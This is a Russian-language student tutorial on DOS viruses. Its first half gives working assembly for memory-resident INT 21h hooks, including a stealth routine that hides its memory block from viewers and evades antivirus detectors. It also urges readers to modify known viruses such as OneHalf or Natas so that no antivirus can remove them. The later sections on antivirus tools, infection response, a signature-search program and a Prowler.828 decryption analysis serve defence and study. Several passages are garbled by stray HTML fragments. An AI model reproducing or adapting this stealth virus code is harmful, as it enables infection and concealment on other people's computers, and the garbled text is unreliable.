наш обработчик прер-я 21 на инициализирующую часть
saved_int21:  DD   0                                         ; данные (хранилище для адреса стандартного обработчика прерывания 21 –2 слова)
;-----------наша п/п-а обработки прерывания 21-------------
;                 (она останется резидентной в памяти)                      
int21_treater:                                                   
PUSH                                          AX                                             
CMP AH,4Bh                              ;вызвана функция 4Bh  прерыв-я 21h   &nbs/addressЧтобы после выполнения программы выйти в DOS и одновременно оставить прогр-му резидентной всего-то лишь и нужно: ВМЕСТО КОМАНДЫ RET ДАТЬ ПРЕРЫВАНИЕ INT 27h и при этnbsp;nbsp;ом в регистр DX нужно поместить адрес последнего оператора остающегося резидентно куска+1. Адрес этот равен смещению от PSP программы. Прерывание INT 27h -- программное прерыв-е. П/п-ма его обработки изменяет структуру ОЗУ тTITLEnbsp;nbsp; ;ак, что часть памяти теперь навечно закреплена за фрагментом Вашей программы.p;  
JNE  not_beep                             ; (запуск программы)    -- если
MOV                                           AX,0E07h
INT  10h                                     ;давать гудок (печать - символа      
not_beep:       POP  AX                                    ; с кодом 07)                             
;                                                  ;PUSH и POP ОЧЕНЬ важны сами  знаете теперь почему                          
;                                                  ;                                                 
JMP dword ptr CS:[saved_int21] ; длин. JMP по адресу, котор. находится теперь в хранилище saved_int21 (возвращаем управление стандартному обработчику прерывания 21)     
rezident_end:;                                                  ;
;-----------инициализирующая часть--------------------------
; (здесь мы сажаем резидент, переопределяя адреса)                
;                                                         ;                                           
initial:            XOR  DX,DX                                   ; ----                                     
                        MOV  DS,DX                                 ; ------> DS = 0           
;                                                             ;                           MOV  AX,DS:[21h*4]                                                              ; сохраняем в хранилище saved_
MOV  word ptr CS:[saved_int21  ],AX ; int21 адрес стандартного 
MOV  AX,DS:[21h*4+2]                      ; обработчика прерывания 21
MOV  word ptr CS:[saved_int21+2],AX         ;
( OFFSET и SEGMENT )   
CLI                                                        ;запрещаем прерывания      
MOV  AX,OFFSET int21_treater                                   
MOV  word ptr DS:[21h*4],AX            ;кладем в таблицу векторов 
PUSH CS                                               ; адрес нашего обработчика 
POP  AX                                                ; прерывания 21            
MOV  word ptr DS:[21h*4+2],AX       ;                          
STI                                                         ;разрешаем прерывания      
MOV  DX,OFFSET rezident_end          ;DX<--конец резид. части   
INT  27h                                                ;закончить программу и     
;                                                             ;  вернуться в DOS
;---------------------------------------------------------------- MainProcedure ENDP
CodeSegment   ENDS
END Start

Сущность нашего перехвата прерывания 21h такова: как только возникло прерывание, и управление перешло к нашему резиденту мы сравниваем значение AH с 4Bh. Если AH=4Bh (запускается какая-то программа), то мы даем гудок и передаем управление в руки хозяина (функции 4Bh) -- делаем длинный JMP. Если же вызванная функция -- не 4Bh, то мы возвращаем управление, что называется, без звука.

Экспериментируя с этим резидентом, мы обнаружим, что при запуске программ может раздаваться несколько гудков. Дело в том, что запускаемые нами программы могут, в свою очередь, запускать свои дочерние процессы. Крайне часто запускаются Norton и COMMAND.COM. Из этого следует, как вы уже догадались, что эти файлы заражаются в первую очередь.

Опять же что-то не так! Если вы посмотрите содержимое памяти с помощью того же самого VolkovА, то обнаружите к своему огорчению  программы который в данный момент сидят в памяти. Для вируса это очень плохо т.к. даже у начинающего пользователя это вызовет определенные подозрения: "...как это так, я такого не запускал – откуда же он здесь взялся? Уж ни вирус ли это?" По этому поступают следующим образом:

Рассмотрим на примере.

Невидимый  резидент  был  выдран из семейства Later/Drug, но у него есть пара недостатков:

а) виден Volcov Commander как отдельный блок памяти помеченный  system. (можно избежать маркировкой не 8 а 70h), но

б) в  некоторых  случаях  (запуск  под Windows 95 во время загрузки)   выдаются сообщения типа: "Не хватает памяти", "Не могу  загрузить COMMAND.COM", - система виснет. Но все равно приятно!

.model tiny
.code
эта константа определяет длинну тела вируса конец-начало
const1  equ offset end_v-offset start
тоже самое только с поправкой для выделения парагрофов
1 параграх – 16 байт. Поэтому делим все на 16. Поправка 1.
const2  equ (offset end_v-offset start)/16+1
 
  org 100h
start:
Получаем адрес 21h прерывания. Стандартная функция
  mov ax,3521h
  int 21h
  mov cs:[old_i],bx
  mov cs:[old_i+2],es
Заносив в Si,2 этот регистр будет использован в качестве указателя
  mov si,2
в AX у нас получается адрес PSP программы. Уменьшили его
  mov ax,ds
  dec ax
  mov ds,ax
В PSP по адресу si+1 т.е. уже 3 (см. Выше) находиться младшее слово счетчика памяти который надо освободить после окончания программы (в параграфах). Уменьшили его на длину вируса. Теперь при выходе освободиться только часть память – остальная еще пригодиться для внедрения.
  sub word ptr ds:[si+1],const2
Теперь обратимся к сегменту кода. Перенесем его в DS
  push cs
  pop ds
Делаю тоже самое но со старшим словом!
  sub word ptr ds:[si],const2
  mov ax,ds:[si]
  sub ax,16
  mov ds,ax
Устанавливаю новое прерывание
  mov ax,2521h
  mov dx,offset new_21
  int 21h
далее перемещаю код вируса на освободившееся место.
Просто копирую все подряд.
  push ds
  push cs
  pop ds
  pop es
  mov si,100h
  mov di,si
  mov cx,const1
  cld
Кстати, опять же лучше использовать для написания программ такого рода более быстрые команды. Учитывая особенно то, что компьютеров с процессором 286 почти не осталось. Я имею в виду rep movsD вместо rep movsB
  rep movsb
и выхожу.
  mov ax,4c00h
  int 21h
 
А это собственно сам вирус. Печатает SC в верхний угол экрана.
new_21:
  push es ax
  mov ax,0b800h
  mov es,ax
  mov word ptr es:[0],'SC'
  pop ax es
  db 0eah
Здесь будет хранится исходное прерывание int 21h
old_i   dw 0,0
end_v:
end start

 В общем то все легко и надо отметить, что именно такой прием встречается чаще всего в вирусах. (В более же серьезных вирусах используют другой приме – рассмотренный ниже). Но опять же более опытный пользователь опять же обратить внимание на  выделенный блок памяти, причем который находиться отдельно от всех остальных и опять же возникнут подозрения. Давайте научимся делать резидентную часть нашего вируса полностью невидимой. А для этого воспользуемся куском из вируса "WG-728"

 .model tiny
.code
тоже что и в предыдущем примере
const1  equ offset end_v-offset start
const2  equ (offset end_v-offset start+100h)/16+1
 
         org 100h
start:
исходное значение прерывания сохраняется в буфере вируса
         mov ax,3521h
         int 21h
         mov cs:[old_i],bx
         mov cs:[old_i+2],es
 
Поместим в AX указатель на сегмент где находится наш вирус. Алгоритм тот же самый как и в предыдущем примере, но только выполнен немного по другому.
         mov bp,cs
         mov ax,bp
         dec ax
         mov ds,ax
         xor di,di
         xchg [di+3],bx
         sub bx,const2+1
         mov [di+3],bx
прибовляем к PSP сегмент кода
         add bx,bp
         mov es,bx
Далее (как я ни старался найти простое объяснения- у меня ничего не вышло), чтобы понять что здесь происходит дальше просто необходимо рассмотреть структуру блоков памяти которые выделяет вирус. Их называют MCB-блоками (Блок контроля памяти).
         Когда выделяется память программе ей предшествует ее описатель, который имеет следующий формат:
 
Смещение от начала    Размер       Описание  
0       1       'M' – действующий, 'Z' – последний блок в цепочке
1       2       Адресс сегмента PSP программы владельца этого блока
3       2       Размер блока в параграфах
5       3       ??????????
8       16     Размер блока (честно говоря не знаю зачем он нужен)    
10h   ?        Начало блока данных
 
         mov al,[di]
         push di
         stosb
4dh – это код буквы "M" – т.е. мы создаем еще одно звено цепочки (см. Таблицу)
         mov byte ptr [di-1],4dh 
         mov ax,70h

Далее помещается по адресу ES:[di] значение AX. Если посмотрите таблицу, то сразу поймете это значение AX (2 байта) помещается по смещению 1 т.е. а адрес сегмента PSP. Довольно хитроумно придумано. По сути дела здесь должен находиться сегмент программы, которая отвечает за этот блок, а сюда помещается 0070h – что является сегментом BIOS (сюда никакая программа записаться не может) в итоге получается, что этот владельцем этого блока памяти является BIOS, а поэтому просмоторщики памяти на него не реагируют. Но это мое личное размышление, а на самом деле в описании TECH_HELP об этом вопросе написано примерно следующее: "Если поместить значение 0070h в MCB блок – то он считается системным", а то и того меньше. В принципе можно заменить это значение на значение другой системной области, например 0000h. Эффект будет тот же. Неправда ли это занимательный (и важный) факт?

         stosw

После команды STOSW автоматически DI увеличиться на 2, а стало быть следующее значение будет по смещение DI+2 т.е. если смотреть таблицу мы будем находиться по смещению 3. В общем записывается размер вирусного кода в параграфах.

         mov ax,const2
         stosw
После всего этого дела DI сильно испортился и для этого его надо восстановить. (ранее его запомнили командой Push Di)
         pop di
Далее  вернем сегмент данных в исходное состояние. Раз в начале от него отняли 1, то теперь прибавим 1. Ну а дальше, я надеюсь все понятно и без коментариев.
         inc bx
         mov es,bx
Перебрасываем код вируса в выделенную память.
         mov cx,const1
         push cs
         pop ds
         mov si,100h
         mov di,si
         cld
         rep movsb
         push es
         pop ds
устанавливает новый обработчик прерывания (см. Процедуру new_21)
         mov dx,offset new_21
         mov ax,2521h
         int 21h
И выходит. Причем в таком варианте выхода, когда не используются стандартные средства для "посадки" резидента (я имею в виду int 27h и функцию 31h прерывания int 21h) не всякие антивирусы-декеткоры могут нас засеч! (А вернее почти НИКТО. Вот и доверяй им после этого).
         mov ax,4c00h
         int 21h
Печатает в левом верхнем углу "S" красного цвета
new_21:
         push es ax
         mov ax,0b800h
         mov es,ax
         mov word ptr es:[2],'DC'
         pop ax es
         db 0eah
old_i dw 0,0
end_v:
end start

На этой "оптимистической" ноте мне бы и хотелось закончить данную главу. Я не сомневаюсь, что теперь вы уже способны написать свой собственный небольшой вирус. Только есть одно "НО". Во первых &‐ писать и изучать вирусы стоит лишь только для самосовершенствования и обогащения своих знаний информатики. Если же все-таки пишите, то вместе с вирусами пишите и антивирус к нему (на тот случай если заразите себя или друзей). Во вторых, если хотите отомстить "нехорошим" людям, то для этого не надо тратить своего драгоценного времени, достаточно переделать уже известный вирус (например OneHalf или Natas), так чтобы его не мог вылечить ни один антивирус, а если и мог, то некорректно и отсылайте его в путь. Смею заметить, что на такой "плагиат" уйдет один, максимум два дня, а на написание собственного неделя или месяц. В результате эффект тот же. Ну и конечно (в третьих) вспомните о последствиях такого рода шуток, я имею в виду правовых и административных

АНТИВИРУСЫ

 

В принципе каждый так или иначе сталкивался с антивирусами. Не знаю ни одного человека у которого на машине не "стоял" бы хотя бы VSAFE или AIDSTEST. По этому нет особой необходимости углубляться в возможности антивирусов или тем более рассказывать как тот или иной антивирус использовать. Все это уже столько раз писалось (в каждой курсовой по этой теме я такое дело встречал), что надоело уже, кроме того в каждом антивирусе существует "справка" где полностью описаны его возможности. Тем не менее уважая традицию, классифицируем типы антивирусов:

(данный кусок взят из коллекции курсовых в INTERNET на тему "компьютерные вирусы" автор Луньков Андрей Николаевич – CopyRight надо уважать!)

Для обнаружения, удаления и защиты от компьютерных вирусов разработано несколько видов специальных программ, которые позволяют обнаруживать и уничтожать вирусы. Такие программы называются антивирусными. Различают следующие виды антивирусных программ:

  • программы-детекторы
  • программы-доктора или фаги
  • программы-ревизоры
  • программы-фильтры
  • программы-вакцины или иммунизаторы

Программы-детекторы осуществляют поиск характерной для конкретного вируса сигнатуры в оперативной памяти и в файлах и при обнаружении выдают соответствующее сообщение. Недостатком таких антивирусных программ является то, что они могут находить только те вирусы, которые известны разработчикам таких программ.

Программы-доктора или фаги, а также программы-вакцины не только находят зараженные вирусами файлы, но и "лечат" их, т.е. удаляют из файла тело программы-вируса, возвращая файлы в исходное состояние. В начале своей работы фаги ищут вирусы в оперативной памяти, уничтожая их, и только затем переходят к "лечению" файлов. Среди фагов выделяют полифаги, т.е. программы-доктора, предназначенные для поиска и уничтожения большого количества вирусов. Наиболее известные из них: Aidstest, Scan, Norton AntiVirus, Doctor Web.

Учитывая, что постоянно появляются новые вирусы, программы-детекторы и программы-доктора быстро устаревают, и требуется регулярное обновление версий.

Программы-ревизоры относятся к самым надежным средствам защиты от вирусов. Ревизоры запоминают исходное состояние программ, каталогов и системных областей диска тогда, когда компьютер не заражен вирусом, а затем периодически или по желанию пользователя сравнивают текущее состояние с исходным. Обнаруженные изменения выводятся на экран монитора. Как правило, сравнение состояний производят сразу после загрузки операционной системы. При сравнении проверяются длина файла, код циклического контроля  (контрольная сумма файла), дата и время модификации, другие параметры. Программы-ревизоры имеют достаточно развитые алгоритмы, обнаруживают стелс-вирусы и могут даже очистить изменения версии проверяемой программы от изменений, внесенных вирусом. К числу программ-ревизоров относится широко распространенная в России программа Adinf.

Программы-фильтры или "сторожа" представляют собой небольшие резидентные программы, предназначенные для обнаружения подозрительных действий при работе компьютера, характерных для вирусов. Такими действиями могут являться:

  • попытки коррекции файлов с расширениями COM, EXE
  • изменение атрибутов файла
  • прямая запись на диск по абсолютному адресу
  • запись в загрузочные сектора диска
  • загрузка резидентной программы

При попытке какой-либо программы произвести указанные действия "сторож" посылает пользователю сообщение и предлагает запретить или разрешить соответствующее действие. Программы-фильтры весьма полезны, так как способны обнаружить вирус на самой ранней стадии его существования до размножения. Однако, они не "лечат" файлы и диски. Для уничтожения вирусов требуется применить другие программы, например фаги. К недостаткам программ-сторожей можно отнести их "назойливость"(например, они постоянно выдают предупреждение о любой попытке копирования исполняемого файла), а также возможные конфликты с другим программным обеспечением. Примером программы-фильтра является программа Vsafe, входящая в состав пакета утилит MS DOS.

Вакцины или иммунизаторы - это резидентные программы, предотвращающие заражение файлов. Вакцины применяют, если отсутствуют программы-доктора, "лечащие" этот вирус. Вакцинация возможна только от известных вирусов. Вакцина модифицирует программу или диск таким образом, чтобы это не отражалось на их работе, а вирус будет воспринимать их зараженными и поэтому не внедрится. В настоящее время программы-вакцины имеют ограниченное применение.

И действительно, ревизоры – одна из самых надежных защит от антивирусов. Но опять же для более надежной защиты надо комбинировать разные антивирусные средства.  Так как же избавляться от антивирусов? Говорю сразу – DrWeb и Vsafe – не помогут (тем более, что в предыдущей главе мы уже научились обманывать Vsafe). DrWeb – это довольно серьезная вещь т.к. кроме простого поиска вхождения вирусного кода, но еще обладает эвристическим анализом, который выявляет подозрительные на вирус программы (правда вылечить он все равно не сможет). Намного эффективнее работает Adinf – он проверяет изменения в файлах, а потому рассчитан на более опытных пользователей. При такой защите вирус уже можно будет элементарно засечь и никуда он не денется! Но в основном мне редко приходилось сталкиваться с такими вирусами которые DrWeb не лечить, поскольку уже в версии 4.03 он способен обнаружить 10053 вируса. По этому дам вам пару советов как избежать вирусного заражения:

1) отключите в BIOS загрузку с дискеты (по возможности если надо будет загрузить систему загружайтесь с CD-ROM)

2) Каждую дискету на которую что либо было записано на другом PC проверяйте последней версией Drweb на вирусы.

3) Используйте программу Adinf. И примерно раз в неделю

     обновляйте ее таблицы.

4) Если работаете в Windows то так же можно применять

     резидентные сторожа (советую Dr Solomon). Но это в том

     случае если вирус был уже обнаружен.

Вот и всё!

Теперь пару слов о том, что делать если все таки вы заразились:

1) Если DrWeb нашел на диске один или два вируса, то и паниковать не чего – найдите эти файлы и удалите.

2) Если DrWeb сказал, что файл "подозрителен на вирус", то советую все такие файлы (если за них не ручаетесь) скопировать в один каталог, а затем просмотреть с помощью какого либо дизассемблера. Если вы опасности в нем не заметете то скопируйте его на то место где он и был иначе удалите.

3) Если Adinf сказал, что файл изменен – то посмотрите, что именно изменено (обычно файлы изменяются после установки новой программы на PC). Если все в порядке, то обновите таблицу. Правда придется хранить в голове список всех файлов которые вы изменили или изменила программа.

Вот если изменены файлы не Windows(а) и притом много, тогда стоит волноваться!

4) Если же все таки ВРИСУ обнаружен и притом ностоящий, то лучше всего загрузить систему с CD-ROM (сейчас продается много "реаниматоров"), если же такового нет с дискеты (причем защищенной от записи).

5) Загрузить DrWeb и протестировать весть компьютер. Причем проверять все типы файлов.

6) Перезагрузиться по обычному. Запустить Vsafe или ей

      подобную и еще раз DrWeb (но в обычном режиме)

7) Далее желательно переустановить программы работающие в 

     DOS. По возможность работать в Windows (степень

     заражения в Win меньше чем в DOS)

Тоже все просто!

Если же компьютер заражен вирусом который не может вылечиnbsp;nbsp;/addressnbsp; mov es,bx‐ть DrWeb то постарайтесь стереть все зараженный файлы (о том какие зараженные скажет Adinf). Так же храните резервную копию BOOT сектора на диске и если он заразиться, то его будет легко восстановить. А вообще лучше всего (тем более если вы еще не уверены в своих силах) лучше обратиться за помощью к специалисту в этой области или по крайней мере к человеку с опытом. В конце концов (если уже ничего не помогает) всегда есть команда FORMAT C: которая является 100% антивирусной защитой. Но это уже в крайний случаях!

Теперь посмотрим, что говорят другие студентnbsp;nbsp;nbsp;nbsp;ы по этому поводу (опять же кусок из реферата. Автор Луньков А.Н.)

 

ДЕЙСТВИЯ ПРИ ЗАРАЖЕНИИ ВИРУСОМ

   При заражении компьютера вирусом (или при подозрении на это) важно  соблюдать 4-е правила:

           1) Прежде всего не надо торопиться и принимать опрометчивых решений. Непродуманные действия могут привести не только к потери части файлов, но к повторному заражению компьютера.

            2) Надо немедленно  выключить  компьютер, чтобы вирус не  продолжал своих разрушительных действий.

            3) Все действия по обнаружению вида  заражения и лечению  компьютера следует выполнять при загрузке компьютера с защищенной от записи дискеты с ОС (обязательное правило).

            4) Если Вы не обладаете достаточными знаниями и опытом для лечения компьютера, попросите помочь более опытных коллег.           

    

На последок мне бы хотелось обратить внимание тех кто работает по Windows 95 т.к. появился 32-х битный DrWeb рассчитанный на работы по Windows. И если честно, то работает он намного быстрее чем DrWeb под DOS. Но правда (может мне такой попался) вирусы в бут-секторе лечит не корректно. Хорошая программа, но пока из всех кого я знаю доверия она не вызывает, возможно из-за консерватизма программистов.

Интересно а как же обнаружить вирусы которые не может обнаружить DrWeb, а Adinf не установлен? А вот тут на помощь приходят не стандартные меры по защите от вирусов, о которых почему то забывают.

НЕ стандартные методы обнаружения вирусов.

 

1.  При запуске PC система грузиться дольше чем обычно.

 Перезагрузитесь с системной дискеты или в COMMAND PROMPT ONLY (F4 – для DOS 6.0 и F8 для DOS 7.х) и просмотрите нет ли лишних файлов с расширение BAT в директории если есть –проверьте из на вирусы. Так же просмотрите на AUTOEXEC и CONFIG.

2.  Программы ( например SEA) использующие DOS4GW не запускаются. 

 Возможно заражение вирусом использующим дополнительную или расширенную память. Шанс заражения – примерно 90%. Проверте память DrWеb причем все что выше 640Кб

3.  Вы ничего не делаете (В случае если вы не работаете в  Windows), но индикатор обращения к винчестеру моргает.

Проверьте память антивирусными средствами.

4.  Ни с того ни с сего зависают при запуске программы под Windows.

Возможно заражение неграмотно написанным вирусом,  который не может отличить Windows программу от программы DOS. По этому заражает их по одинаковому алгоритму. А программы имеют разную структуру.

 5.  При нажатии CTRL+L в Volcov Comander или подобном ему  выдается неправильное кол-во общей памяти.

     Например:

 640,360 Bytes Memory

569,088 Bytes Free

Volume in drive C: has no label

1,874,853,888 total bytes on drive C:

715,522,048 bytes free on drive C:

Хотя если поделить 640360 на 1024 окажется что всего базовой память у нас 625 Кб, хотя на самом деле ее должно быть 640Кб.

Этот прием используют бут-вирусы.

Возможно заражение бут-вирусом или некорректная работа каких-либо драйверов. Запустите DrWeb, но лучше с этой проблемой справиться Adinf или один из антивирусов под Windows 98 – Vet.

Его достоинством является то, что он проверяет диск на не стандартные загрузочные сектора. Это может выявить даже еще неизвестный вирус.

6.  При просмотре *.com файлов первой командой является JMP – такой файл может быть тоже вирусом. Проверить файл через Drweb. Если таких фалов много, то следует обраться к специалисту.

Как найти вирус?

По идее все вирусы объединяет одно и тоже действие или действия. Каждому из них нужно остаться в памяти, заразить другой файл или сразу несколько файлов (а то и все) и т.д.

Кстати говоря эвристические анализаторы основаны именно на том, что ищут подобные куски. Итак приведу некоторые из них.

Ну во первых если файл начинается с команды jmp или jmp far, это достаточный признак. Потом посмотрите на наличие в тексте программы (а вернее в конце ее) следующих фрагментов:

"*.EXE", "*.COM", "COMMAND.COM". Далее следует искать уже по фрагментам команд. Ищите например такие фрагменты кода:

............
mov ax,3521h
int 21h
............
или
............
mov cs:[число],bx
mov cs:[число+2],es
............
или
............
mov ax,2521h
int 21h

............

так же большое число переходов (JMP) тоже может быть подозрительным (например, вирус OneHalf)

Таких кусков можно придумывать до бесконечности. Если вы немного "поработаете" с вирусами, я уверен сам сможете расширить этот список еще страниц на шесть. Но допустим, у вы (не дай бог) нашли у себя вирус [или подозрительный на него] как же узнать ошибочны ли сомнения или нет. Для этого следует во первых проверить наличие подозрительного куска в памяти компьютера, а во вторых наличие того же куска в других файлах. И это в ваших силах... Начну по порядку и с самого начала. Как посмотреть код программы? Загружаете Turbo Debuger, через него открываете исследуемый файл. Например открыли файл а там такое:

cs:0100 40             inc    ax
cs:0101 E96B09         jmp    0A6F
cs:0104 EB36           jmp    013C
cs:0106 8C4A52         mov    [bp+si+52],cs
cs:0109 A1DCF6         mov    ax,[F6DC]
cs:010C A2A56F         mov    [6FA5],al
Как я и говорил jmp в начале файла может служить признаком заражения. Если их 2, то смотрим только на первый. Интересно куда это нас "посылает" команда jmp 0A6F? Последуем за ней....
А там вот что:
 
cs:0A6F 06             push   es
cs:0A70 1E             push   ds
cs:0A71 E80000         call   0A74
cs:0A74 5D             pop    bp
cs:0A75 81ED0500       sub    bp,0005
cs:0A79 8DB66600       lea    si,[bp+0066]
cs:0A7D 56             push   si
cs:0A7E FA             cli
cs:0A7F 1E             push   ds
cs:0A80 33C0           xor    ax,ax
cs:0A82 8ED8           mov    ds,ax
cs:0A84 FF366C04       push   word ptr [046C]
cs:0A88 C70604006B01   mov    word ptr [0004],016B
cs:0A8E B862FA         mov    ax,FA62
cs:0A91 2EFF34         push   cs:word ptr [si]

Если это вирус, то будет достаточно этого куска. Если он есть не только в файле, но и в памяти, то и думать нечего – вы заразились.

Основываю я такое предположения на том, что вирусу необходимо хранить все свое тело в памяти для заражения. Итак щием последовательность байт 06, 1E, E8,00,00,5D ..........2E, FF, 34. Для этого предлагаю воспользоваться небольшой программой (специально написал ее на C++ т.к. на PASCAL она бы была значительно больше)

 

// ============================================================

// Программа поиска в оперативной памяти программы Vsafe

// Автор Сазонов.Д. 3 курс инф.

// ============================================================

#include <conio.h>
#include <stdio.h>
 
unsigned int sseg,sofs;
const char vsafe[длинна последовательности]={255, 255,255,255, 0x6, 0x1E, 0xE8,00,00,0x5D и т.д. вобщем перепишите сюда последовательность которую надо найти };
 
// Основная процедура - функция поиска в памяти по заданной строке
// Используется два цикла. Первый по сегментам, второй по смещению
void findvirus()
{
_asm   xor     ax,ax
_asm   mov     es,ax
_asm   mov     di,ax
_asm   cld
 
mainloop:
asm {       mov     ch,0
            mov     cl,44
            mov     si,offset vsafe
            add     si,4
            push    di
            push    es
            rep     cmpsb
            pop     es
            pop     di
            jz      found
            inc     di
            cmp     di,16
            jb      mainloop
            sub     di,16
 
            push    es
            pop     ax
            inc     ax
            push    ax
            pop     es
 
            cmp  ax,0a000h
            jb      mainloop
            jmp     end
}
found:
       asm  mov sseg,es
       asm  mov sofs,di
end:
}
 
// Функция возвращает 1 если найденая строка совпала
// с расположением куска
 
char mem(unsigned int s,unsigned int o)
{
char res=0;
asm {mov ax,s
     mov es,ax
     mov bx,o
     mov dx,word [es:bx]
     mov cx,word [es:bx-2]
     cmp dx,cx
     jnz exit
     xor al,al
     cmp dx,0xffff
     jnz exit
     inc al
     mov res,al
}
exit:
return res;
}
 
void main()
{
clrscr();
findvirus();
 
if (!mem(sseg,sofs-2)) printf("В памяти по адресу %X:%Xh находится искомый кусок",sseg,sofs);
else printf("В памяти компьютера искомой последовательности не обнаружено! ");
getch();
}

Найти вирус в памяти это основная проблема с которой все сталкиваются, но зато поиск данного куска в других файлах не составит особого труда – с этим справиться каждый. По этому рассмотрен данный алгоритм не будет. Для тренировки же можете потренироваться с поиском программы VSAFE в памяти. Для начала запустите выше приведенную программу до загрузки Vsafe, а затем после. Единственное что надо сделать - это заменить одну строчку в программе т.е. добавить код VSAFE который надо искать (я именно на нем и тренировался, рассматривая VSAFE как вирус и пытаясь его убрать). Привожу код VSAFE:

const char Vsafe[48]={255,255,255,255,0xfb,0x2e,0x80,0x3e,0xcf,0x0d,0x00,0x75,0x03,0xe9,0xe2,0x1,0x80,0xfc,0xfa,
0x74,0x03,0xe9,0x8b,0x0,0x81,0xfa,0x45,0x59,0x75,0x20,0x3c,0x0,0x74,0x1f,0x3c,0x1,0x74,0x2e,0x3c,
0x2,0x74,0x38,0x3c,0x3,0x74,0x41,0x3c,0x4};

Далее вернемся к изучаемому коду, а именно в качестве примера я взял вирус Prowler.828. Именно его по тому, что год назад летом мы с другом (MIB) провели недели две изучая его и пытаясь выловить на своих машинах (DrWeb, тогда еще третьей версии его не находил). После изучения его кода мы решили его назвать MidNight поскольку в его теле была зашифрована это слово. Данный вирус снабжен несколькими уровнями защиты от просмотра и изучения поэтому представляет особый интерес для изучения.

С чего же начинать изучать вирус? Прежде всего с заголовка и

ГЛАВНОЕ ПРАВИЛО:

 

НИКОГДА НЕ ЗАПУСКАЙТЕ ЕГО.

 

После того как изучен заголовок можно приступить к изучению его действий (т.е. при каких условиях он заражает и как заражает, а также что заражает). На что же надо обращать внимание в первую очередь? Рассмотрим на примере того же вируса:

 cs:0A6F 06                    push   es

 cs:0A70 1E                    push   ds
 cs:0A71 E80000              call   0A74
 cs:0A74 5D                      pop    bp
 cs:0A75 81ED0500          sub    bp,0005
 cs:0A79 8DB66600          lea    si,[bp+0066]
 cs:0A7D 56                      push   si
 cs:0A7E FA                     cli
 cs:0A7F 1E                      push   ds
 cs:0A80 33C0                  xor    ax,ax
 cs:0A82 8ED8                  mov    ds,ax
 cs:0A84 FF366C04           push   word ptr [046C]
 cs:0A88 C70604006B01   mov    word ptr [0004],016B
 cs:0A8E B862FA              mov    ax,FA62
 cs:0A91 2EFF34               push   cs:word ptr [si]
cs:0A94 8F066C04           pop    word ptr [046C]
 cs:0A98 31066C04          xor    [046C],ax
 cs:0A9C FF366C04         push   word ptr [046C]
 cs:0AA0 2E8F04             pop    cs:word ptr [si]
 cs:0AA3 46                      inc    si
 cs:0AA4 46                      inc    si
 cs:0AA5 D1C8                ror    ax,1
 cs:0AA7 FF0E0400        dec    word ptr [0004]
 cs:0AAB 75E4                jne    0A91
 cs:0AAD 8F066C04       pop    word ptr [046C]
 cs:0AB1 1F                     pop    ds
 cs:0AB2 C3                     ret
Сначала посмотрите визуально и постарайтесь построить в голове модель того что делает данный кусок. Начну сначала.
Первые 5 строчек не представляют особого интереса т.к. заносят в регистр BP адрес начала вируса (стандартный прием.)
lea    si,[bp+0066] – это явно какая то переменная вируса, которая находится по смещению 66h от начала вирусного кода. (забегая вперед скажу, что там находится адрес начала зашифрованного кода вируса). Далее
cs:0A7D 56                      push   si
cs:0A7E FA                     cli
cs:0A7F 1E                      push   ds
Всегда когда видите, что кто-то что-то в программе пытается сохранить спрашивайте: зачем это понадобилось! Зачем понадобилось сохранять SI и DS? Смотрим дальше... Кстати говоря один из приемов защиты от просмотра- команда CLI. Она полностью блокирует прерывание от клавиатуры и еще несколько из второстепенных прерываний. В общем после ее выполнения с клавиатурой работать будет нельзя до выполнения команды STI.
cs:0A80 33C0                  xor    ax,ax
cs:0A82 8ED8                 mov    ds,ax
Так вот зачем понадобилось сохранять DS – его потом обнуляют! Вопрос №2 – зачем?
cs:0A84 FF366C04           push   word ptr [046C]
cs:0A88 C70604006B01   mov    word ptr [0004],016B
А вот это уже настоящее программистское "извращение". По идее прием данный описан в литературе по защите программ от трассировки, но такую реализацию я видел всего один раз – здесь!
Поясняю, если не задан сегмент данных то по умолчанию все данные берутся из сегмента DS (вот зачем его обнуляли – хотели чтобы мы читали из сегмента переменных BIOS). Что же делается дальше? Правда для этого надо знать некоторые переменные BIOS.
0:46ch – находиться текущее время таймера (постоянно изменяется, раз в 1/60 сек.), а 0:0004h храниться адрес прерывания int 1h, которое называется Single Step и используется для пошагового отлаживания программы. Как видите если изменить данное прерывание то при первом же шаге просмотра (я имею в виду просмотр по F7) вызовется данное прерывание и управление передастся по неправильному адресу (т.к. его изменили) в результате чего программа просто зависнет! А так вирус хранит здесь длину зашифрованного кода (да ко всему он еще и защифрован)
cs:0A8E B862FA              mov    ax,FA62
Данная стока определяет начальное значение ключа по которому будет расшифроваться вирус. А далее все происходит в цикле:
cs:0A91 2EFF34               push   cs:word ptr [si]
берется первое значение зашифрованного участка. Вот именно этим приемом я и был так восхищен! Поскольку передача организованна не через регистры, а через стек, причем используется прямая адресация. Берется  значение из CS:[SI] и помещается стек
cs:0A94 8F066C04           pop    word ptr [046C]
А далее берется значение из стека т.е. помещенное туда из CS:[SI]
и возвращается не в регистр а непосредственно в ячейку памяти отвечающую за время. Сделано это для того, что если вы пытаетесь "взломать" код то обязательно произойдет задержка. Время измениться, а стало быть измениться значение в ячейке [046ch]
, вирус неверно расшифруется и система "зависнет"
 cs:0A98 31066C04          xor    [046C],ax
Далее используется стандартный прием шифрации – наложение по XOR. Тут все просто.
 cs:0A9C FF366C04         push   word ptr [046C]
 cs:0AA0 2E8F04             pop    cs:word ptr [si]
Опять же через стек записывается измененное (расшифрованное) значение обратно в память.
 cs:0AA3 46                      inc    si
 cs:0AA4 46                      inc    si
берем следующее слово
 cs:0AA5 D1C8                ror    ax,1
Далее, чтобы ключ не повторялся и антивирусу трудно было найти сдвигаются на 1 бит в лево все биты ключа командой ror
 cs:0AA7 FF0E0400        dec    word ptr [0004]
уменьшаем цикл. Аналогия с Pascal  -
{
loop:
          dec [0004]
          if [0004] <> 0 then goto loop:
}                                                      
  cs:0AAB 75E4                jne    0A91

Надо отметить, что хоть задумано все хитро, но защита такая "ломается с пол пинка", достаточно поставить одну BreakPoint (см. следующий раздел) после jne 0a91h. Зачем нам мешать вирусу, раз там столько защит то пускай сделает свое дело – расшифруется, а там мы его и посмотрим. После того как Break Point установлена начинаем выполнение по F9, а далее смотрим сам, уже расшифрованный, код вируса. Как видите все достаточно просто. Намного сложнее дело обстоит с вирусами типа OneHalf.  Там присутствует другая уловка против антивирусов и просто любопытных. Весь вирус разделен на десять маленьких частей, которые сами по себе выполняют две-три команды и переходят на следующую часть. Пока все их выследишь уходит очень много времени, а стало быть и терпения обычно не хватает, чтобы просмотреть всё.

